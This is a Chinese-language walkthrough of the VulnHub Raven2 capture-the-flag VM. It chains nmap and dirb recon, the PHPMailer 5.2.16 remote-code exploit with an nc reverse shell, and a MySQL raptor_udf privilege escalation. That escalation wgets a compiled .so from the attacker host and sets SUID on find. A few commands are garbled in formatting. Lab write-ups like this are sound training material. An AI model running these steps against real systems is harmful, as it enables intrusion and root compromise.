vulnhub-Raven2

2022-11-02 15:05:10 浏览数 (1)

0x01 靶场简介

Raven 2是中级boot2root VM, 有4个flag需要搜集,在多次被攻破后,Raven Security 采取了额外的措施来加固其Web服务器,以防止黑客入侵。您是否仍然可以攻破Raven?

靶场下载:https://download.vulnhub.com/raven/Raven2.ova

0x02 靶场渗透

1. flag1

使用Nmap探测靶机IP地址

代码语言:javascript复制
nmap -sP 192.168.126.0/24

确定IP地址后,扫描开放的端口和服务

代码语言:javascript复制
Nmap -p 1-65535 -T4 -A -v 192.168.126.15

得到开放的端口信息,80端口存在一个web服务

对网站信息收集,使用dirb进行目录扫描

代码语言:javascript复制
dirb http://192.168.126.15/

该站点存在目录浏览漏洞

对目录文件进行排查,在vendor目录下的PATH文件里找到了第一个flag

2. flag2

接着在README.md里面看到了PHPMailer(一个功能齐全的PHP电子邮件创建和传输类)

在VERSION目录文件中得知PHPMailer版本号为5.2.16

PHPMailer < 5.2.18版本存在安全漏洞,可使未经身份验证的远程攻击者在Web服务器用户上下文中执行任意代码,远程控制目标web应用

在kali上利用searchsploit命令可以搜索到可利用的漏洞

将对应exp的py文件拷贝出来到当前目录下

代码语言:javascript复制
cp /usr/share/exploitdb/exploits/php/webapps/40974.py ./

先在攻击机kali(192.168.126.128)开启监听端口4444

代码语言:javascript复制
nc -lvnp 4444

修改exp内容,主要修改受害目标地址以及需要接收反弹shell的地址,修改如下:

修改好后,执行脚本

代码语言:javascript复制
python 40974.py

如果exp执行报错的话,就需要安装requests_toolbelt模块

代码语言:javascript复制
pip install requests-toolbelt

如果提示编码报错,在exp第一行添加如下内容

代码语言:javascript复制
# -*- coding: utf-8 -*

先访问 http://192.168.126.15/contact.php,就会生成后门文件 shell1.php,再访问 http://192.168.126.15/shell1.php,就成功反弹了一个shell到攻击机上

此时获取的shell并不是一个具有完整交互的shell,可以使用python提供的pty模块,创建一个原生的终端shell

代码语言:javascript复制
python -c 'import pty; pty.spawn("/bin/bash")'

获取到完整的shell后,在目标主机上查找flag

cat查看flag2.txt内容

3. flag3

由于flag3.png是张图片,无法直接在命令行中查看。但是该图片在网站目录下,因此可以直接访问网站路径即可查看图片内容

4. flag4

进入wordpress文件夹里,发现其配置文件

查看wp-config.php的内容,发现了网站的mysql数据库wordpress,以及mysql的root密码R@v3nSecurity

利用获取到的账号密码,登录mysql

代码语言:javascript复制
mysql -u root -pR@v3nSecurity

mysql的版本为5.5.6,可以使用UDF提权

在kali上使用 searchsploit mysql 命令找到利用exp

把该文件复制出来,在kali上进行编译生成so文件

代码语言:javascript复制
cp /usr/share/exploitdb/exploits/linux/local/1518.c ./
gcc -g -c 1518.c
gcc -g -shared -o  raptor_udf.so 1518.o -lc

在kali上起一个web服务,将生成的so文件提供给靶机下载

代码语言:javascript复制
python -m SimpleHTTPServer 8888

在受害靶机上切换到tmp目录下,wget下载编译好的so文件

代码语言:javascript复制
cd /tmp
wget http://192.168.126.128:8888/raptor_udf.so

进入数据库创建数据表 foo,向表中插入二进制数据,然后利用dumpfile函数把文件导出, 再新建存储函数do_system类型是integer,别名(soname)文件名字

代码语言:javascript复制
mysql -u root -pR@v3nSecurity
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf.so'));
select * from foo into dumpfile '/usr/lib/raptor_udf.so';
create function do_system returns integer soname 'raptor_udf.so';
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf.so';
create function do_system returns integer soname 'raptor_udf.so';

通过do_system函数给find命令所有者的suid权限,使其可以执行root权限的命令

代码语言:javascript复制
select do_system('chmod u s /usr/bin/find');
代码语言:javascript复制
touch finn
find finn -exec “bin/sh” ;

使用find执行 shell,最后找到第4个flag

代码语言:javascript复制
find /root -name flag*

0 人点赞